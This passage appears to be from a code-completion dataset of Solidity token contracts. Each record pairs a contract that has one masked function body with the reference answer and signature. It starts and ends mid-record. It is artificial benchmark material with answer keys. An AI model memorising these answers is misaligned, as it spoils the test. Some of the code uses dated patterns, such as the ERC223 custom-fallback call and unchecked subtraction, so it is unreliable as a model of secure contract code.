function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> }
} | contract Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "CTS";
name = "CTSTOKEN";
decimals = 18;
_totalSupply = 3000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
<FILL_FUNCTION>
} |
require(account != address(0), "ERC20: burn from the zero address");
balances[account] = balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
| function _burn(address account, uint256 amount) internal | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal |
69978 | NV_ShibaInu | transferFrom | contract NV_ShibaInu is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SHIBn";
name = "NV Shiba Inu";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {<FILL_FUNCTION_BODY> }
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
} | contract NV_ShibaInu is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SHIBn";
name = "NV Shiba Inu";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint256 tokens) external returns (bool success) | function transferFrom(address from, address to, uint256 tokens) external returns (bool success) |
6164 | TestBig | CalWeiToPay | contract TestBig is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TES";
name = "Lab Test Big Point";
decimals = 18;
_totalSupply = 21000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
mapping(address => uint) ShareStatus;
address payable[] ShareAddress;
uint8 public i = 0;//for adding share iteration
uint public fee;
uint public ordertoPay= 0;
uint256 public minBalance;
uint public warnRepeated;
function AddShare(address payable _Share)public onlyOwner returns(bool){
require(balances[_Share]>0);
for(uint e =0; e<i; e++){
if(_Share ==ShareAddress[e]){
warnRepeated =1;}
}
if(warnRepeated!=1){
ShareAddress.push(_Share);
ShareStatus[_Share]=1;
i++;
//ShareStatus = 1 => approved
}
warnRepeated = 0;
}
function AddShareManual(address payable _Share)public onlyOwner returns(bool){
require(balances[_Share]>0);
ShareStatus[_Share]=1;
ShareAddress.push(_Share);
i++;
}
function viewSharePermission(address payable _Share)public view returns(bool){
if(ShareStatus[_Share]==1){return true;}
if(ShareStatus[_Share]!=1){return false;}
}
function BanThisAddress(address payable _Share)public onlyOwner returns(uint){
require(ShareStatus[_Share]==1);
ShareStatus[_Share]=0;
//ShareStatus = 0 => banned
}
function CancelBanThisAddress(address payable _Share)public onlyOwner returns(uint){
require(ShareStatus[_Share]==0);
ShareStatus[_Share]=1;
//ShareStatus = 1 => unbanned
}
function SetFeeinWei(uint _fee)public onlyOwner returns(uint){
fee = _fee;
}
function viewFee()public onlyOwner view returns(uint){
return fee;
}
function CalWeiToPay(uint _ordertoPay, uint _ShareWei)public onlyOwner view returns(address payable, uint, uint){<FILL_FUNCTION_BODY> }
function CalWeiToPayByAddress(address payable _thisAddress, uint _ShareWei)public onlyOwner view returns(address payable, uint, uint){
require(ShareStatus[_thisAddress]==1 && balances[_thisAddress]>=minBalance);
uint Amount_to_pay = balances[_thisAddress].mul(_ShareWei).div(_totalSupply);
Amount_to_pay = Amount_to_pay.sub(fee);
return (_thisAddress , Amount_to_pay, balances[_thisAddress]);
}
function ResetOrdertoPay(uint reset)public onlyOwner returns(uint){
ordertoPay = reset;
}
function SetMinBalance(uint256 _k)public onlyOwner returns(uint){
minBalance = _k;
return minBalance;
}
function viewMinBalanceRequireToPayShare()public view returns(uint){
return minBalance;
}
function viewNumShare()public view returns(uint){
return i;
}
} | contract TestBig is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TES";
name = "Lab Test Big Point";
decimals = 18;
_totalSupply = 21000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
mapping(address => uint) ShareStatus;
address payable[] ShareAddress;
uint8 public i = 0;//for adding share iteration
uint public fee;
uint public ordertoPay= 0;
uint256 public minBalance;
uint public warnRepeated;
function AddShare(address payable _Share)public onlyOwner returns(bool){
require(balances[_Share]>0);
for(uint e =0; e<i; e++){
if(_Share ==ShareAddress[e]){
warnRepeated =1;}
}
if(warnRepeated!=1){
ShareAddress.push(_Share);
ShareStatus[_Share]=1;
i++;
//ShareStatus = 1 => approved
}
warnRepeated = 0;
}
function AddShareManual(address payable _Share)public onlyOwner returns(bool){
require(balances[_Share]>0);
ShareStatus[_Share]=1;
ShareAddress.push(_Share);
i++;
}
function viewSharePermission(address payable _Share)public view returns(bool){
if(ShareStatus[_Share]==1){return true;}
if(ShareStatus[_Share]!=1){return false;}
}
function BanThisAddress(address payable _Share)public onlyOwner returns(uint){
require(ShareStatus[_Share]==1);
ShareStatus[_Share]=0;
//ShareStatus = 0 => banned
}
function CancelBanThisAddress(address payable _Share)public onlyOwner returns(uint){
require(ShareStatus[_Share]==0);
ShareStatus[_Share]=1;
//ShareStatus = 1 => unbanned
}
function SetFeeinWei(uint _fee)public onlyOwner returns(uint){
fee = _fee;
}
function viewFee()public onlyOwner view returns(uint){
return fee;
}
<FILL_FUNCTION>
function CalWeiToPayByAddress(address payable _thisAddress, uint _ShareWei)public onlyOwner view returns(address payable, uint, uint){
require(ShareStatus[_thisAddress]==1 && balances[_thisAddress]>=minBalance);
uint Amount_to_pay = balances[_thisAddress].mul(_ShareWei).div(_totalSupply);
Amount_to_pay = Amount_to_pay.sub(fee);
return (_thisAddress , Amount_to_pay, balances[_thisAddress]);
}
function ResetOrdertoPay(uint reset)public onlyOwner returns(uint){
ordertoPay = reset;
}
function SetMinBalance(uint256 _k)public onlyOwner returns(uint){
minBalance = _k;
return minBalance;
}
function viewMinBalanceRequireToPayShare()public view returns(uint){
return minBalance;
}
function viewNumShare()public view returns(uint){
return i;
}
} |
require(ShareStatus[ShareAddress[_ordertoPay]]==1 && balances[ShareAddress[_ordertoPay]]>=minBalance);
uint Amount_to_pay = balances[ShareAddress[_ordertoPay]].mul(_ShareWei).div(_totalSupply);
Amount_to_pay = Amount_to_pay.sub(fee);
return (ShareAddress[_ordertoPay], Amount_to_pay, balances[ShareAddress[_ordertoPay]]);
| function CalWeiToPay(uint _ordertoPay, uint _ShareWei)public onlyOwner view returns(address payable, uint, uint) | function CalWeiToPay(uint _ordertoPay, uint _ShareWei)public onlyOwner view returns(address payable, uint, uint) |
44702 | AxpireToken | transferFrom | contract AxpireToken is ERC223,ERC20 {
uint256 initialSupply= 350000000 * 10**8;
string tokenName="aXpire Token";
string tokenSymbol="AXP";
uint8 decimalUnits=8;
//Constructor
function AxpireToken() public
ERC20(initialSupply, tokenName, decimalUnits, tokenSymbol)
{
owner = 0x2e1977127F682723C778bBcac576A4aF2c0e790d;
//Assigning total no of tokens
balances[owner] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address to, uint256 value, bytes data) public returns (bool success) {
bool status = transferInternal(msg.sender, to, value, data);
return status;
}
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool success) {
bool status = transferInternal(msg.sender, to, value, data, true, customFallback);
return status;
}
// rollback changes to transferInternal for transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferInternal(address from, address to, uint256 value, bytes data) internal returns (bool success) {
return transferInternal(from, to, value, data, false, "");
}
function transferInternal(
address from,
address to,
uint256 value,
bytes data,
bool useCustomFallback,
string customFallback
)
internal returns (bool success)
{
bool status = super.transferInternal(from, to, value);
if (status) {
if (isContract(to)) {
ContractReceiver receiver = ContractReceiver(to);
if (useCustomFallback) {
// solhint-disable-next-line avoid-call-value
require(receiver.call.value(0)(bytes4(keccak256(customFallback)), from, value, data) == true);
} else {
receiver.tokenFallback(from, value, data);
}
}
Transfer(from, to, value, data);
}
return status;
}
function transferInternal(address from, address to, uint256 value) internal returns (bool success) {
bytes memory data;
return transferInternal(from, to, value, data, false, "");
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
} | contract AxpireToken is ERC223,ERC20 {
uint256 initialSupply= 350000000 * 10**8;
string tokenName="aXpire Token";
string tokenSymbol="AXP";
uint8 decimalUnits=8;
//Constructor
function AxpireToken() public
ERC20(initialSupply, tokenName, decimalUnits, tokenSymbol)
{
owner = 0x2e1977127F682723C778bBcac576A4aF2c0e790d;
//Assigning total no of tokens
balances[owner] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address to, uint256 value, bytes data) public returns (bool success) {
bool status = transferInternal(msg.sender, to, value, data);
return status;
}
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool success) {
bool status = transferInternal(msg.sender, to, value, data, true, customFallback);
return status;
}
<FILL_FUNCTION>
function transferInternal(address from, address to, uint256 value, bytes data) internal returns (bool success) {
return transferInternal(from, to, value, data, false, "");
}
function transferInternal(
address from,
address to,
uint256 value,
bytes data,
bool useCustomFallback,
string customFallback
)
internal returns (bool success)
{
bool status = super.transferInternal(from, to, value);
if (status) {
if (isContract(to)) {
ContractReceiver receiver = ContractReceiver(to);
if (useCustomFallback) {
// solhint-disable-next-line avoid-call-value
require(receiver.call.value(0)(bytes4(keccak256(customFallback)), from, value, data) == true);
} else {
receiver.tokenFallback(from, value, data);
}
}
Transfer(from, to, value, data);
}
return status;
}
function transferInternal(address from, address to, uint256 value) internal returns (bool success) {
bytes memory data;
return transferInternal(from, to, value, data, false, "");
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
} |
if (allowed[_from][msg.sender] < _value) {
return false;
}
bool _success = super.transferInternal(_from, _to, _value);
if (_success) {
allowed[_from][msg.sender] -= _value;
}
return _success;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | // rollback changes to transferInternal for transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
84505 | Ownable | null | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {<FILL_FUNCTION_BODY>
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
<FILL_FUNCTION>
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} |
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
| constructor () internal | constructor () internal |
15397 | QUN | burn | contract QUN is ERC20 {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address internal _admin;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor() public {
_admin = msg.sender;
_symbol = "QUN";
_name = "Qundina";
_decimals = 13;
_totalSupply = 20000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
}
modifier ownership() {
require(msg.sender == _admin);
_;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = (balances[_to]).add( _value);
emit ERC20.Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = (balances[_from]).sub( _value);
balances[_to] = (balances[_to]).add(_value);
allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_value);
emit ERC20.Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit ERC20.Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* Destroy tokens from other account
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
_totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
//Admin can transfer his ownership to new address
function transferownership(address _newaddress) public returns(bool){
require(msg.sender==_admin);
_admin=_newaddress;
return true;
}
} | contract QUN is ERC20 {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address internal _admin;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor() public {
_admin = msg.sender;
_symbol = "QUN";
_name = "Qundina";
_decimals = 13;
_totalSupply = 20000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
}
modifier ownership() {
require(msg.sender == _admin);
_;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = (balances[_to]).add( _value);
emit ERC20.Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = (balances[_from]).sub( _value);
balances[_to] = (balances[_to]).add(_value);
allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_value);
emit ERC20.Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit ERC20.Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
<FILL_FUNCTION>
/**
* Destroy tokens from other account
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
_totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
//Admin can transfer his ownership to new address
function transferownership(address _newaddress) public returns(bool){
require(msg.sender==_admin);
_admin=_newaddress;
return true;
}
} |
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
_totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
| function burn(uint256 _value) public returns (bool success) | function burn(uint256 _value) public returns (bool success) |
23522 | Ownable | addOwner | contract Ownable {
mapping(address => bool) internal owners;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owners[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function addOwner(address newAllowed) onlyOwner public {<FILL_FUNCTION_BODY> }
function removeOwner(address toRemove) onlyOwner public {
owners[toRemove] = false;
}
} | contract Ownable {
mapping(address => bool) internal owners;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owners[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
<FILL_FUNCTION>
function removeOwner(address toRemove) onlyOwner public {
owners[toRemove] = false;
}
} |
owners[newAllowed] = true;
| function addOwner(address newAllowed) onlyOwner public | function addOwner(address newAllowed) onlyOwner public |
43530 | LotsApis | cancelAuction | contract LotsApis is LotsData {
function getProperty(uint256 _id) external view returns (string parcel, string street, string city, string state, string zip) {
Property storage property = properties[_id];
parcel = property.parcel;
street = property.street;
city = property.city;
state = property.state;
zip = property.zip;
}
function registerProperty(string parcel, string street, string city, string state, string zip) external onlyOwner {
_registerProperty(parcel, street, city, state, zip);
}
function _registerProperty(string parcel, string street, string city, string state, string zip) internal {
Property memory _property = Property({
parcel: parcel,
street: street,
city: city,
state: state,
zip: zip,
creationTime: uint64(now)
});
uint256 newPropertyId = properties.push(_property) - 1;
_transfer(0, msg.sender, newPropertyId);
}
